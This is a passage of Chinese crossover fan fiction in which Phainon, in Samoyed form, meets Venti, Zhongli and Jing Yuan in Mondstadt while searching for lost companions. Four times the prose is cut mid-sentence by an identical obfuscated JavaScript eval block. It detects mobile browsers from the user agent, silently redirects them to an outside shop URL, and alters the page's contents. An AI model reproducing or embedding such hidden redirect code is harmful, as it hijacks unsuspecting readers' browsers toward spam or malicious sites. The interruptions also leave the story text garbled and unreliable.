请你稍稍为我停留 听我唱完一曲 赏一杯苹果酒 负重前行的人儿 请你稍稍为我驻足 看我饮一杯酒 再请我一杯 晨昏的天空 请徐徐为我奏响 赐我雷霆万钧 还我朗朗乾坤 岁月的种子 请你缓缓发芽 等待春暖花开 一曲唱完,周围的人们纷纷拍手叫好。只听咣当几声,几十枚摩拉纷纷丢进卖唱的碗里。 温迪笑嘻嘻地盘腿坐下,将碗里的摩拉全都倒扣在掌心里:“这下可以好好喝几次了。” “喂,愿意陪我去喝一杯吗?” 温迪朝白厄的方向招手。 白厄下意识朝身后看去,但是背后空无一人。他不确定地用右前爪指了指自己:“你是说我吗?” “当然。”温迪走到白厄面前,微微仰起脑袋。 白厄摸了摸鼻子。 有点儿奇怪。 这个绿色的家伙有点儿奇怪,请一个陌生人喝酒也就罢了,但是自己现在这么一个体型,他也毫不在意吗。 但是温迪那双大大的眼睛满是真诚,白厄莫名被说服了,竟然真的跟着他去了天使的馈赠。 这里人不少,有人已经喝醉了,比如最里面那桌客人。两颗颜色迥异的脑袋趴在桌子上,虽然喝醉了,但是嘴里却还是不饶人。 “接着喝……” “我还能再喝一杯……” 还有人才刚刚开始,比如旁边的那桌。正对着门口的那个客人一头蓝色长发,尾部编成麻花辫垂在身前,脸上还戴了一个黑色眼罩。 而坐在他对面的那个男子背对着门口,看不清面容,只能看到垂在背后的发辫和黑棕色的衣服,却隐隐透着几分熟悉。 “来两杯苹果酒。” 温迪的话及时转移了白厄的注意力。 柜台后面站着一个扎着深红色马尾的男人,面容冷峻:“酒精饮品不对未成年出售。”说完还看了一眼跟在温迪背后的白厄:“宠物不得入内。” 宠物? 白厄的鼻子抵着柜台,尾巴抵着门,有这么大块头的宠物吗? 温迪笑着摆摆手:“迪卢克老爷误会了,我身后的这位朋友可不是我的眷属,是我今天刚刚认识的。” “不管是不是今天认识的,酒精饮品不对未成年出售。”迪卢克没理会温迪的解释,很坚持这一点儿。 “好吧。”温迪做出了妥协,“两杯冰钩钩果汁。” 温迪挑了位置,招呼白厄坐下。 白厄艰难地蹲在摇摇欲晃的椅子上,很担心下一秒这椅子会不堪重负直接变成几块碎木板。 果汁摆在面前,两只爪子捧起来喝着。借着喝果汁,白厄终于看清了刚才背对着他们的人的面容。 眉眼如锋,沉稳敦厚。面上端得一派端庄持重,举手投足间给人以优雅的美感。 初见时只觉得和丹恒有几分相似,但仔细看的时候,才发现两人的气质迥然不同。丹恒是清冷寡言,而面前之人则是有着山岩一般的沉着稳重。 许是意识到了白厄的目光,钟离看了过来,像是两人没有交过手似的微微抿了抿唇角。 白厄回之以微笑。 在不清楚对方实力和来因的情况下,微笑最能保持一个人的体面。 温迪好奇:“你认识他吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374973|200051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白厄不知道怎么回答,只给了一个模糊的答案:“可能认识。” 温迪没有追问,反而介绍起了钟离。白厄仔细听着,原来钟离是璃月往生堂的客卿,拥有远超常人的知识,人人见了都要称一声先生。 “钟离先生这个人真的是太奇怪了。”温迪滔滔不绝地说着:“居然不喜欢喝酒,每次都得我拉着他喝。” 他们的桌子和钟离那桌隔得不远,而温迪丝毫没有会被钟离听到的觉悟,嘴里的话一句又一句地冒出来。 “前天他又来蒙德了,还带了一壶苦不拉几的茶叶。”温迪明明没有喝酒,但是却打了一个酒嗝,脸颊泛着红晕:“一边喝一边吹牛,说自己捡到了一本书,可能是古董,自己要赚大发了。” ? 白厄轻轻挑眉。 难以想象像钟离这么稳重的人居然会吹牛,要是眼前的温迪的话好像还差不多。 不知不觉间,酒馆里的灯亮起来了。微微吹动的窗帘露出外面渐渐黑下来的天空,白厄已经喝了好几杯冰钩钩果汁了,肚子有些涨腹。正要出去活动一下,却没想到最里面那桌那颗银色脑袋不见了,取而代之的是一只紫色的史莱姆团子,而且还在不断地撞着对面浅金色的脑袋。 丝丝闪电在酒馆里蔓延,顺着酒水扩散开。 法尔伽首先反应过来,被电得一激灵。随即酒馆里其他的人也反应过来了,纷纷向外逃去。 白厄被温迪带着上了二楼,楼梯狭小,白厄抬起前爪,各种找角度。温迪在这个关头还有心思弹琴,不过舒缓的音乐的确安抚了不少人的情绪,至少没有出现大规模踩踏时间。 钟离已经伸手抱起了史莱姆团子,一层薄薄的盾覆盖在它的表面,制止了雷电的蔓延。 原先坐在钟离对面的蓝发男子站起来拍了两下巴掌:“迪卢克老爷这里是越来越热闹了,前天有划拳定输赢,今天还有这么一出酥酥麻麻的戏码,连大团长也没能幸免,精彩,实在是精彩!” 迪卢克双手环胸,面色冷峻。 一旁被电醒了的法尔伽扶着额头开口,只听一声轻微的叹息:“果然不能贪杯啊,和景元一起喝酒还真的要有些胆量。” 景元闭着眼睛静静呆在钟离的掌心内,看样子还没有酒醒。 “得。”法尔伽活动了肩膀:“老兄,改日再一起喝酒吧。” “大团长都回去休息了,我这个小小队长在这里也没什么意思了。再不济还有暗夜英雄呢,是不是,迪卢克老爷?” 迪卢克冷哼一声,“今天除凯亚外,全部人酒水免费。” ? 凯亚欲哭无泪:“公报私仇。” “好耶!”温迪欢呼起来。 凯亚不情不愿(高高兴兴)地支付了摩拉后离开。 此时酒馆内只剩钟离、景元、温迪还有白厄了,迪卢克在凯亚支付了摩拉后就不再在柜台调酒,而是和他一起离开。 直到此时,白厄才开了口,说了在闹了一出酥酥麻麻戏码后的第一句话。 “你们一起设计了这一切。” 温迪的目光有点儿躲闪。 钟离的视线依旧平稳。 顿了顿,白厄看着抱着史莱姆团子的钟离:“钟离先生,你知道丹恒吗?” 5. 第 5 章 原来芭芭拉是祈礼牧师,她还有个姐姐琴,是西风骑士团的代理团长。芭芭拉的培养方向和琴完全不是一个路数,如果打个比方的话,琴在前方嘎嘎乱杀,芭芭拉在后面库库补血。 不得不说,芭芭拉和风堇真的极其相似。不仅是外貌,甚至性格也差不多。而据她们所说,这两人好像原本就是孪生姐妹。 看着风堇和芭芭拉亲热熟络的样子,赛飞儿有点儿吃味。明明是一起参加了烛火之旅的伙伴,可是现在这个粉彤彤的小姑娘却不记得他们了。 不过看风堇现在的样子,应该没有危险的,不像是自己和白厄,现在还被千岩军追捕呢。既然这样的话,那自己还是不要打扰她现在的安静生活了。 赛飞儿蹲在长椅上,心里有点儿发酸。 找到那个裁缝女的时候,她会不会也像风堇一样不记得自己了。 但是心酸了没多久赛飞儿就想开了。 要是那个裁缝女真的不记得自己了,那自己骗她的时候不是更得心应手吗? 想到这儿,赛飞儿又高兴了起来,高傲地迈着六亲不认的步伐离开了教堂,向神像下的几只鸽子打听白厄的下落。 可怜的鸽子们见到了猫儿肯定是要逃跑的。 赛飞儿扑了半天一只也没捞着。 可能是终于看不下去了,一个浅金色发丝的高挑女子走了过来。 “你好。” 声音里透着温柔,但是温柔下却是不易察觉的严肃,和那个裁缝女真是如出一辙的风格。 赛飞儿抬起头来,琴半蹲下身子,和蹲在矮墙上的猫儿平视。 “你要找的人在天使的馈赠,要我带你过去吗?” 琴刚要伸手把赛飞儿抱起来,后者却张牙舞爪起来。 赛飞儿哈出一口气,浑身的毛都炸了起来。 琴缩回手,笑容微微收敛,但依旧能看到上扬的唇角:“我是蒲公英骑士琴。” 听到琴这个名字,赛飞儿的身体松弛下来。 原来她还奇怪琴为什么知道自己在找谁,唯一的解释就是她一直在观察自己,暗地里可能在搞什么东西,但是既然是风堇的姐姐,对自己妹妹带回来的人感兴趣就能说得过去了。 “抱歉。”赛飞儿笑了笑。 “没什么。”琴试探着伸出手:“我抱你过去吧。” 赛飞儿没有拒绝,老老实实地被琴抱在了怀里。一般人抱猫都是像抱小孩儿似的,四爪朝天,这种姿势对猫来说是很不舒服的。但是琴像是抱猫抱习惯了似的,四只爪子都结结实实踩在了琴的小臂上。 赛飞儿不由得问了一句:“你经常抱小动物吗?” 琴点了点头:“经常有谁家的猫跑丢了找我帮忙。” ? 连找猫这种小事儿也要麻烦代理团长吗? 代理团长不是应该整天埋在办公桌前处理公务的吗? 赛飞儿的脑海里想象了一下阿格莱雅抱着猫一脸怜爱的样子,不由得起了一身鸡皮疙瘩。 这个时候已经是后半夜了,蒙德城里亮起来的灯光已经慢慢熄灭,只有天使的馈赠的窗户还亮着。 琴在酒馆前站定,赛飞儿从她的怀里跳了下来。 “谢谢了。” “不客气。”琴抿了抿唇。 目送着琴离开后,赛飞儿正要敲门,门已经被人从里面打开,随即一个熟悉的人出现在面前。 干净利落的白色短发,浅蓝且泛着金色的一双眼眸,太阳形状的黄色印记刻在脖子上,整体服饰呈现纯白色,上头还有不少鎏金色以及蓝色的点缀。 “救世小子?” 赛飞儿惊呼一声,“你怎么恢复人形了?” 白厄有点儿不好意思地挠了挠后脑勺,露出一点儿最初的模样:“暂时的。你先进来。” 赛飞儿一脸莫名其妙地进去了,然后看到了在桌子上蹦着的紫色史莱姆团子,以及一脸古井无波的钟离。 这不是在归离原追捕他们的两个人吗? “快跑!” 赛飞儿就要跳窗离开,却被白厄一下子捞了回来。 “赛飞儿小姐,你先别着急。” 白厄看向钟离,钟离微微颔首,掌心翻转朝上,一本星空封面的书册静静浮空。哗啦啦的书页翻动了几下,多是空白的页面。 “这是什么?” 赛飞儿和开拓者接触不如白厄多,不认识也正常。 “这是搭档手里的如我所书。”白厄解释道:“上面记载了翁法罗斯的逐火之旅里我们几个一起并肩作战的伙伴。我就是在一张空白的页面上按下了手印,才恢复了人形,而这张空白的页面也变成了我本人的样子。” 钟离翻了几页,露出白厄的那一张。 一只体型硕大的萨摩耶神灵活现地出现在页面上,白厄两个字刻在旁边,右下角还有个爪印。 “这本书是我偶然捡到的。”钟离开了口:“因为在三碗不过港遇到你们的时候,这本事发出了奇异的光芒,所以就和你们在归离原过了两招。” “说起来一切都是误会。”景元在桌子上蹦着,看起来秋秋弹弹的。 赛飞儿看了看白厄,白厄点了点头。 既然救世小子都相信他们了,那么自己也不会再追究什么。 赛飞儿转而想起另外一件事,向白厄求证:“也就是说我在上面按下爪印,也能恢复人形了?” 白厄再次点头。 在众人的期待下,赛飞儿在一张空白的页面上按下了爪印。奇异的光芒充斥屋内,刺得人睁不开双眼。和先前白厄的情况有所不同,这次出现在书页上的却是赛飞儿的人形。 而赛飞儿本人却依旧还是一只小猫。 “什么情况?”温迪捏着鼻子凑过来。 他知道赛飞儿要来,本来已经躲了起来,但是没想到这只小灰猫居然还没有恢复成人形。 白厄也摸不着头脑,脸上的茫然显而易见。 “看来白厄阁下的确是你们之中最为特殊的个体。”钟离缓缓合上如我所书。 “如果刚开始就是人形呢?”赛飞儿想起了风堇。 西风教堂。 芭芭拉和修女们忙来忙去,最近远征军回来了,一路奔波,为他们检查身体是必要的。芭芭拉的治疗能力出众,但是风堇比起她来有过之而无不及。芭芭拉负责初次筛选,小毛病她就顺手疗愈了,比较严重的才会交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374974|200051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给风堇。 不过这批远征军身体比较棒,几乎用不着风堇出马。她就和小伊卡坐在旁边的长椅上,给芭芭拉做助手。 看着那些远征军身上五花八门的伤痕,风堇已经可以面色如常地应对。直到看到一个骑士身上大面积的烧伤,甚至连面容都难以分辨时,她的神色才有了一点儿异常。 仿佛在记忆深处,也有个人有过这么严重的烧伤。 “风堇?” 察觉到她的失神,芭芭拉叫了她一声。 风堇回过神来:“姐姐。” “是不是太累了。”芭芭拉一脸关切,“累了就休息一下吧,这里还有我呢。” “不用了姐姐,我可以的。”风堇急切地表态。 因为是家里最小的,两个姐姐都对她很照顾,总觉得她长不大。但是她也想做个独当一面的大人,不想总是活在两个姐姐的光环下。 芭芭拉看出了风堇的心思,实际上她也有过类似的想法。姐姐琴太过优秀了,无论自己怎么样都超不过她,哪怕一次也没有。当努力没有用的时候,她选择切换努力的方向。 既然不擅长战斗,那就负责后勤治疗吧。 在治疗上,芭芭拉找到了自己的意义,现在风堇又要面对和自己当初一样的困境了。 见风堇这么坚持,芭芭拉也就没有再劝她休息了。 教堂忙活到了天亮,直到东方吐出鱼肚白,风堇才有了歇息的时间。小伊卡在旁边嘟个不停,本想找张床休息的她想起了从雪山带回来的白厄和赛飞儿,心里顿时涌起一种奇异的感觉。 小伊卡像是感知到了风堇的情绪,嘟得更厉害了。 “小伊卡。” 风堇把小伊卡抱在怀里,努力蹭了蹭它柔软的身体:“你和他们两个是不是很投缘?” “嘟——” 小伊卡急得快要说出话来了,但是风堇实在有点儿困了。眼皮子沉重得快要睁不开,就要闭上眼睛大睡特睡的时候,一只小灰猫儿灵活地跳了进来。 “赛飞儿小姐?”风堇揉了揉眼睛。 赛飞儿本来是想找风堇按手印的,但是没想到她居然累成这个样子,话也说不出来了。 “呃,本来是想找你帮个忙,但是……” 赛飞儿的话还没说完,风堇已经精神一振,刚才的困意一扫而光。 “没事的,我可以的!” 风堇冲到了赛飞儿面前,“风堇冲鸭!” “啊?” 看着赛飞儿一脸茫然,风堇笑着解释:“这是我姐姐芭芭拉的口头禅,芭芭拉冲鸭!现在她送给我了,风堇冲鸭!” 赛飞儿哈哈笑了起来,“没想到芭芭拉那个文静的小姑娘会有这样的口头禅。” “对了,你来找我帮什么忙啊。” 赛飞儿神秘一笑:“按个手印而已。” 风堇一脸茫然:“啊?” 风堇被赛飞儿催促着出了教堂,这个时候天刚刚亮,外面的人还很少,但风神像下却已经站了几个精致的男子。 而其中一个有着一头干净利落的白色短发,面容却与记忆深处那个被烧得面目全非的男子重合。 “白、白厄阁下?” 6. 第 6 章 听了白厄他们的话后,风堇在一张空白的页面上按下手印。可是并没有像白厄或者是赛飞儿那样在白纸上留下任何痕迹,书本也没有发出任何光芒。 “什么情况?”温迪再次好奇地凑了过来,他捏着鼻子,对赛飞儿很忌惮。 白厄抓了抓后脑勺,也不明白到底是什么原因。 钟离提醒道:“可能风堇姑娘有和你们两位不一样的地方。” “难道是记忆?”赛飞儿抚着下巴。 “有可能。” 因为已经白天了,景元恢复了人形,双手环胸地站在钟离身旁,“按下手印就相当于在用自己的经历在白纸上书写。如果没有记忆的话,自然留不下任何痕迹。” 温迪吸了吸鼻子,鼻涕已经快要流下来:“看来想要在书页上留下痕迹,还得唤醒风堇姑娘的记忆。” “有点儿难办。”赛飞儿耷拉着脑袋:“风堇之前是昏光庭院的医师,和我可没有什么交集。” 虽然是逐火之旅的伙伴,但是这可不是什么好的回忆。要赛飞儿来说,最好是和逐火之旅无关的,比较平常的东西。 众人又看向白厄。 食指挠了挠额头,白厄显得有点儿为难:“我和风堇曾经一同在神悟树庭求学,但是要说最适合唤醒风堇记忆的人,非那刻夏老师莫属。” 那刻夏老师是他们的老师,学生时代面对老师的记忆,绝对是除了父母之外最刻骨铭心的。更别说风堇之后还当了那刻夏老师的助教,相处时间绝对是黄金裔里最长的。 但是现在有个问题,那刻夏老师到底在哪儿呢? 温迪很大方:“这段日子可以在蒙德找找,要是找不到就再去老爷子的地盘。” 白厄很困惑:“老爷子?” “哈哈哈。”温迪意识到说错话,但是却没有纠正:“就是钟离先生呀。你看他老神在在的样子,嗓音又是一贯地低沉,难道不是个老爷子吗?” “……”钟离扶额,“这个酒鬼诗人的话莫要放在心上。” 景元搭上了钟离的肩膀,半开玩笑半认真道:“钟离先生的话也莫要放在心上。” 温迪和景元一人一句,都在拿钟离打趣。而钟离无可奈何但又纵容的样子,不难看得出几人的关系非比寻常。 白厄生出几分羡慕,但随即想到了什么一样,眼神又黯然下来。 几个人聊了这么久,但是风堇却听得糊里糊涂的:“什么唤醒记忆?什么昏光庭院?什么那刻夏老师?你们到底在说什么呀。” “说你和我们曾经在一起并肩作战的事情呀。”赛飞儿跳上了风堇的肩膀,爪子撩拨着她的粉色马尾:“你想不想听?” “一起?并肩作战?”风堇很困惑:“我们?” “当然。”赛飞儿说:“你就当听个故事吧。救世小子,你们去找那刻夏吧。” 白厄点了点头,赛飞儿虽然和风堇交集不多,但是和阿格莱雅的羁绊是很深的。阿格莱雅是黄金裔的领袖,每个黄金裔都和她有着千丝万缕的关系。如果能借着阿格莱雅唤醒风堇记忆的话,也不失为一种良策。 白厄和钟离他们离开了。 赛飞儿不在,温迪也就不再打喷嚏了,他放下了捏着鼻子的手,调侃道:“救世小子?” 原来温迪是听到了赛飞儿对白厄的称呼的。 白厄沉默片刻,“还是叫我白厄吧。” 温迪点了点头:“白厄。” 钟离道:“我和景元先回璃月了,打听一下那刻夏的线索。” “谢谢你们。” 萍水相逢,却能出手相助,白厄不感到感激是不可能的。有那么一瞬间,他想到了搭档和丹恒。 白厄再次问道:“钟离先生,你真的不认识丹恒吗?” 昨天晚上白厄已经问过钟离一次了,但是钟离没有回答,反而说起了如我所书。现在白厄再次提起,钟离没有别的话头来搪塞过去,索性大方承认了。 “不错,我的确认识丹恒。” 一旁的景元接话道:“不仅钟离,我也认识丹恒,而且绝对比你认识丹恒要早。” 原来钟离在尘世闲游的时候,曾经离开提瓦特去到了罗浮仙舟。而仙舟罗浮,正是丹恒的故乡,也是景元的故乡。景元也曾经因为相貌的缘故,错将钟离认成丹恒,闹出了不少笑话。而如今景元到璃月来度假,也是因为先前与钟离有过这么一段交情。 温迪若有所思:“原来这个丹恒与老爷子这么像吗,有机会的话一定要认识一下。” 白厄有点儿失望:“这么说,丹恒不在这里。” 钟离和景元点了点头。 白厄脸上的失望更重。 一只手放在他的肩膀上拍了拍,白厄抬起头,景元脸上的笑容很治愈,叫人如沐春风。 “虽然丹恒不在这里,但是身为丹恒的朋友,我们都会帮你的。再者……”景元轻轻地笑了一下:“我还欠你个人情呢。” 白厄不明所以。 温迪出来打岔:“那我不是丹恒的朋友,是不是就可以不用帮忙了?” 三人俱看过来。 景元和钟离一脸静静看你演的神情。 白厄挠了挠后脑勺:“这件事不用勉强的……” 看白厄当了真,温迪抛出了自己的条件:“不过你要是能请我喝几杯的话,那就另当别论啦。” 白厄一脸疑惑。 景元憋着笑意解释:“温迪这个身高,酒馆不卖酒给他。” 白厄想起来了。 难怪昨晚那个酒红色头发的酒保神情梆硬。 “只要我能维持住人形的话,一定请你喝。”白厄的笑容很阳光灿烂。 自从阿格莱雅死后,他的笑容就再也没有阳光过。不仅仅是因为身上的担子,更是因为身边的伙伴一个接着一个地离开。 从前他以为是这样,后来才知道事实远非如此。不仅是因为伙伴一个接着一个地离开,更是因为这样的不断失去也挽救不了翁法罗斯的命运。 从前他找寻伙伴是为了夺取火种,拯救这个满目疮痍的世界,现在找寻伙伴是为了寻找回去的路。钟离先生说过,或许将伙伴全部找回,就能通过如我所书开通通往翁法罗斯的路径。 想到再也不用杀死他们,既感到轻松的同时心里又莫名涌上来一股沉重。 白厄的心口有些发闷。 “这本如我说书,还是交由你吧。” 钟离看出了白厄的异样,故意转移了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374975|200051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话题。 白厄接过如我所书,似是能通过封面的体温感触到搭档拿着这本书时的模样,一种奇异的感觉涌上心头。 他心心念念盼了三千多万世的人,终于还是在拯救了翁法罗斯后离他而去。 白厄将如我所书紧紧贴在胸口上,像是新生儿抱着得而复失的伙伴似的。 日头逐渐往西边沉下,黄绿色的草丛被风吹得极其柔软,叫人很想往草地上躺一躺。 景元走得累了,索性直接躺了下去。 日头已经沉了下去,但是天还亮着。淡淡的红色在天际晕染开,烧红了一片又一片的云彩。 景元双手垫在脑袋下,微风撩起他银色的鬓发,也放松了此时的神情。 钟离坐在草地上,一条腿屈起,胳膊随意地搭在膝盖上。他看着渐渐被染黑的天空,脸上神情变幻莫测,看不出在想些什么。 景元蓦地出声问道:“为何要将如我所书还给白厄?” 钟离的声音很平静:“这原本就是他们的东西。” 景元道:“固然有这一层原因在,但是恐怕不仅于此。” 说到最后,景元侧头看向钟离。从他这个角度看过去,只能由下往上地看到钟离的下巴和半边侧脸。 钟离轻轻开口:“他两次提到丹恒,恐怕不仅仅是因为我与他有几分相似,许是感知到了熟悉的力量。” “熟悉的力量?”景元若有所思:“化形前后,丹恒的力量都与你不同,难道是在翁法罗斯的时候获得了新的力量?” “而这股力量恰巧与我有几分相近。” “难怪。” 钟离乃是尘世七执政之一,若是他的力量与如我所书产生了联系,极有可能会唤醒沉睡的天理。 “水神之座被毁,虚假之天被破,三月女神回归,发生了这么多的事情,天理都没有苏醒。或许她在等一个契机。” “看来这次休假要休不安稳了。” 钟离抿了抿唇:“你若是现在后悔,尚且还来得及。” “后悔做什么?”景元道:“横竖天塌下来,还有你和温迪顶着。” 这话倒是不假,作为唯二的两个初代神明,对天理苏醒一事恐怕早有准备了。自己要做的便是吃好喝好,顺便调侃一下钟离,和温迪喝个酒。 这事儿他向来做得得心应手,不管情况多么紧急,只要有伙伴在身边,安全感就直接拉满了。好似回到了云上五骁的时候,横竖有镜流和丹枫呢,自己只需出谋划策就行,再不济直接让他们力大砖飞。 可能是提及了温迪,钟离的眉头微微皱了起来。 “可是想到了什么?” “那个酒鬼诗人与时之执政有着千丝万缕的关系,在白厄提及的十二泰坦中,正巧也有一位与时间有关。如果他能感知到我身上的力量与丹恒有几分相似,那么自然也能看得出温迪的。” “温迪虽然看起来不着调,但应该能知道要避开如我所书。再者你先前不也与如我所书诸多接触吗,一时接触应无大碍。” 钟离摇头:“先前如我所书只是一本空白的书册,如今却是不同了。” 景元颔首:“说得极是,现下该当如何?” 钟离道:“静观其变。” 7. 第 7 章 白厄在蒙德住了下来。 赛飞儿每天都和风堇混在一起,见缝插针地讲故事,想让她恢复记忆。但是风堇却总是听得一知半解的,看来道阻且长。 白厄在温迪的帮助下在蒙德转来转去,把各个地方都跑了一遍。 猫尾酒馆里有个调酒师迪奥娜,虽然脾气不是很好,还总是张牙舞爪的,但是却很可爱,而且调出来的酒也是一级地棒。 温迪想喝迪奥娜调的酒,但是见了她却总是打喷嚏。再加上迪奥娜讨厌酒鬼,所以买酒这件事就只能交给白厄去办了。 白厄站在猫尾酒馆的门口,他以为温迪只喜欢喝天使的馈赠的酒,毕竟那个冷冰着脸的酒红色酒保看上去不像是会妥协的人,温迪这个少年要是想喝酒精饮品的话确实得需要个成年男子,但是没想到喝完了天使的馈赠的,还要喝猫尾酒馆的。 想起温迪趴在树上醉得一塌糊涂的样子,白厄突然间有点儿犯罪感。 未成年人是不能喝酒精饮品的。自己这么帮温迪偷摸着喝酒,是不是不太好。 然而这个念头才冒出来一秒,就强行被人打断了。一只粗壮有力的胳膊极其自然地搭在白厄的肩膀上,他微微一怔,随即转头对上一张笑得肆意的面庞。 “这里的酒很好喝对不对?”法尔伽哈哈大笑起来:“果然英雄所见略同。” 白厄抓了抓后脑勺。 “告诉你一个小秘密。”法尔伽神秘兮兮地压低了声音:“酒好喝不假,但是配方可千万不能学。” 在蒙德也算待了几天,法尔伽大团长的威名可是听说过的。原来那天晚上在天使的馈赠表现出来的爱喝酒不是伪装,而是货真价实的。 现在法尔伽身上还带着一股若有若无的酒气,脸颊也喝得有点儿绯红。他揽着白厄的肩膀进了猫尾酒馆,柜台后面的迪奥娜正在调酒,见到法尔伽冷哼一声。 “酒鬼大叔又来了。”迪奥娜拼命摇着调酒瓶子,心里祈祷着能调出来世界上最难喝的酒。但是事与愿违,法尔伽喝入口时的那一副享受表情完全不像是演的。 “啊——”迪奥娜已经气得快要炸毛了,她将矛头转向了白厄,从牙缝里挤出字。 “你也是来喝酒的吗?” 白厄怕被她挠上一爪子,急忙摆手:“不是……” 然而法尔伽酒喝上头,揽着白厄的肩膀把他拽到自己面前,还打了一个酒嗝:“这可是我最新认识的酒友,迪奥娜小姐可要为我这位朋友好好调上一杯。” “……” 看着迪奥娜的脸由红转白,又由白转红,白厄扶了下额头,最后挣扎了一下:“我……不着急的。” “哼。”迪奥娜把玩着调酒瓶子,“你去里面待会儿吧。” 白厄将视线转向猫尾酒馆内。 刚才他就注意到了,虽然这里是酒馆,但是却多是骰子落地的声音。刚才顾念着法尔伽不好肆意打量,现在倒是可以正大光明地看了。 抛在桌子上的骰子是个正八面体,每一面上都刻着一个符号。两人面前都各有三张角色牌,手里还捏着另外的支援牌。 “偿还罪业!” 其中一个戴着狼耳帽子的小麦色少年大吼一声,对面的金发青年面露难色,思考良久后放弃了挣扎。 “啊。” 卡维推倒了前面的骰子,趴在桌子上叫了起来:“赛诺,我最近已经够倒霉了,你就不能让我一下吗?” 赛诺双手环胸:“你知道你最近为什么倒霉吗?” 卡维下意识抬起头:“为什么?” 视线落到桌子上的落落莓身上,他恍惚间明白了什么,急忙伸出手。然而已经晚了,赛诺已经开了口:“因为桌子上的落落莓倒了。” 话音刚落,屋内的温度硬生生降了二十度。饶是白厄穿得这么多的人,也忍不住搓了搓胳膊。 冷。 太冷了。 赛诺还是适可而止,问卡维:“你家里不是住进去一个朋友吗,有他在,艾尔海森还能欺负你吗?” “你不知道。”卡维欲哭无泪:“他们两个一起欺负我。尤其是那个名字特长的朋友,什么阿那克萨戈拉斯,他嘲讽起人来,简直是气死人不偿命。” ! 阿那克萨戈拉斯? 那刻夏老师? 正好迪奥娜的酒已经调好了,白厄已经忘记了什么打包的话,直接端着酒杯不动声色地坐在了赛诺和卡维身边。 卡维还在输出,配合手舞足蹈的肢体动作,差点儿没让白厄呛到。 “我给你学一下哈。” 卡维站起身来,双臂张开,原本应该裸露在咯吱窝下的白色肌肤转移到了胸前。头微微扬起,下巴微抬,唇角勾起一抹嘲讽的笑容。 “哈哈哈哈哈哈哈哈哈哈哈哈哈哈!” 极致又疯狂的笑声从卡维的嘴里发出,猫尾酒馆的天花板都禁不住颤了一颤,众人纷纷目瞪口呆地看着,喝酒的杯子掉在了地上,打牌的骰子还在桌子上打转儿。 迪奥娜双手叉腰:“又一个醉鬼。” 眼见众人面染怒意,赛诺终于也沦落到了代人尴尬然后带人逃跑的地步。 赛诺的速度很快,顺带着还付了酒钱。 不愧是大风纪官。 站在蒙德城外的桥上,卡维气喘吁吁地扶着膝盖,还不忘抬起头冲赛诺竖了个大拇指。 然而赛诺却像是看到了什么似的一直盯着卡维的背后。 “怎么了。”卡维好奇地顺着赛诺的视线望过去,却什么也没看到。 “没什么。”赛诺收回视线,“我们回须弥去吧。” “诶?”卡维不解地挠了挠头:“我们不是还要帮柯莱……” “我说走就走。” 赛诺不由分说就拉起卡维往前跑,提米的鸽子吓得够呛,扑闪着翅膀冲向天空。气得不行的提米想要拦他们也没有拦住,只能愤怒地看着他们离开。 提米的身后,白厄站在桥上若有所思。 这两个人看来已经发现自己了。 白厄翻出如我所书,书页哗啦作响,但是却没有像钟离说的遇到和黄金裔有关的线索时会发出亮光。 是钟离骗了他吗? 白厄合上如我所书,摇了摇头。 如果钟离骗自己的话,他没必要将如我所书交给自己,这样谎言不是不攻自破了吗。 如果钟离没有骗自己,那就只有两个可能。 要么他们口中的阿那克萨戈拉斯不是自己要找的那刻夏老师,要么就是那刻夏老师的情况和他们三个都不一样。 后者的可能性显然更大。 正当白厄打算追上去,详细问一下情况的时候,刚迈开腿却发现自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374976|200051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经不是人形,而是变成萨摩耶的样子。 白厄抬起白色毛茸茸的爪子,面露无奈。 自己这个样子追上去,会被他们当成魔物的吧。 温迪说过,正是钟离向蒙德说明了情况,自己以萨摩耶形状进入蒙德的时候才没有引起轰动。但要是换了另外的地方,就难说了。 “……” 生活不易,白厄叹气。 “北风的狼王,给我一场酣畅淋漓的试炼吧。” 